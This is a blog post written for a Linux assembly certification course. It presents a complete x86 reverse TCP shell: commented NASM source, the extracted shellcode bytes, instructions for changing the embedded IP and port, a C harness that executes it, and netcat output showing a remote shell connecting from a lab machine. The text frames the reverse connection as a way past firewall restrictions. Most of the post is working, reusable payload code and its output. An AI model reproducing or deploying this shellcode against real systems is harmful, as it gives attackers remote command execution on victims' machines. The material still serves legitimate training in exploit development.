Assignment_2 – TCP Reverse Shell


This  post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-581
###

Here it is my TCP Reverse Shell shellcode which aimed to connect to certain address on port 7771.
Reverse connection is usually used when server's firewall allow only restricted number of incoming connections (to ports 21, 80, 443, for example, which are already used and hence cannot be opened by another application), so there is no any possibility to accept an incoming connection.

In that case the only way to bypass such security restrictions to create an output connection to controlled server which is ready to accept connection from outside.

Here it is well commented shellcode for the purpose we described above:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
; Title: Linux Reverse TCP Shell Shellcode
; Filename:reverse_shellcode.nasm
; Author: Oleg Boytsev
; License http://creativecommons.org/licenses/by-sa/3.0/
; Legitimate use and research only
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.


global _start
section .text

_start:

;The first step is to create an endpoint for communication and return a socket file descriptor: socket(int domain, int type, int protocol)
xor eax, eax ;zeroed eax
mov al, 102 ;socketcall()
xor ebx, ebx ;zeroed ebx
mov bl, 1  ;net.h/SYS_SOCKET code 
xor esi, esi ;zeroed esi
push esi ;push 0 into stack (protocol)
push 1   ;push 1 into stack (SOCK_STREAM), man 2 socket
push 2   ;push 2 into stack (AF_INET), man 2 socket
mov ecx, esp  ;move a pointer to arguments array into ecx
int 0×80 ;run syscall

mov edx, eax ;save socket fd into edx


;connect/man connect: int connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
mov al, 102 ;socketcall()
mov bl, 3       ;SYS_CONNECT

;const struct sockaddr *addr/man 2 ip: address family, port, internet address
push DWORD 0x815ba8c0   ;192.168.91.129 reversed and hexed

push WORD 0x5b1e        ;port 7771
push WORD 2             ;AF_INET
mov ecx, esp            ;move a pointer to struct sockaddr arguments into ecx

push 16                 ;addrlen 16
push ecx                ;struct sockaddr pointer
push edx                ;sockfd
mov ecx, esp            ;move a pointer to connect() arguments into ecx
int 0x80  ;run syscall

;DUP2/man dup2: int dup2(int oldfd, int newfd); Duplicate a file descriptor
xor eax, eax ;zeroed eax
mov al, 63  ;dup2() code
mov ebx, edx  ;save old fd in ebx
xor ecx, ecx  ;get 0, this is STDIN file descriptor
int 0×80 ;run syscall

xor eax, eax ;zeroed eax
mov al, 63 ;mov dup2() code into al
mov cl, 1  ;STDOUT
int 0×80 ;run syscall

mov al, 63 ;dup2() code
mov cl, 2  ;STDERROR
int 0×80 ;run syscall

;spawn a shell
xor eax, eax ;zeroed eax
push eax ;push NULL into stack
push 0x68732f2f ;push reversed //sh into stack
push 0x6e69622f ;push reversed /bin into stack
mov ebx, esp ;copy pointer to /bin//sh string into ebx
push eax ;push NULL into stack 
push ebx ;push pointer to /bin//sh into stack
mov ecx, esp ;mov pointer to argv[] (/bin/sh, NULL) into ecx
xor edx, edx ;zeroed edx (edx contain envp[])
mov al, 0xb ;mov execve() code into al
int 0×80 ;run syscall

Lets compile and link our code:

nasm -f elf32 reverse_shellcode2.nasm -o reverse_shellcode2.o
ld -m elf_i386 reverse_shellcode2.o -o reverse_shellcode2

And now we have to extract our shellcode from elf:
objdump -d ./reverse_shellcode2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
  "\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xf6\x56\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2\xb0\x66\xb3\x03\x68\xc0\xa8\x5b\x81\x66\x68\x1e\x5b\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

How to:
change the port: …\x1e\x5b... - 7771
change the IP: …\xc0\xa8\x5b\x81 - 192.168.91.129

Let's load our shellcode into checker.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#include<stdio.h>
#include<string.h>

unsigned char shellcode[] ="\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xf6\x56\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2\xb0\x66\xb3\x03\x68\xc0\xa8\x5b\x81\x66
\x68\x1e\x5b\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02
\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";

main()
{
        printf("Shellcode Length: %d\n",strlen(shellcode));
        int (*ret)() = (int(*)())shellcode;
        ret();
}



Compile our checker:
gcc -fno-stack-protector -z execstack checker.c -o checker

Before we run our reverse connect shellcode we have to open 7771 port on remote machine:
root@Platon:~# nc -v -l -p 7771 nc: listening on :: 7771 ... nc: listening on 0.0.0.0 7771
done..

and now we can run our reverse connect shell:
root@debian:/usr/local/src/SLAE/2_assigment# ./checker Shellcode Length: 96

Here is what we see on remote machine:
nc -v -l -p 7771
nc: listening on :: 7771 ...
nc: listening on 0.0.0.0 7771 ...
nc: connect to 192.168.91.129 7771 from 192.168.91.130 (192.168.91.130) 47074 [47074]

## After connection is established we can run any shell commands:)
pwd
/usr/local/src/SLAE/2_assigment

Here it is a screenshot about how it works in real life:

No comments:

Post a Comment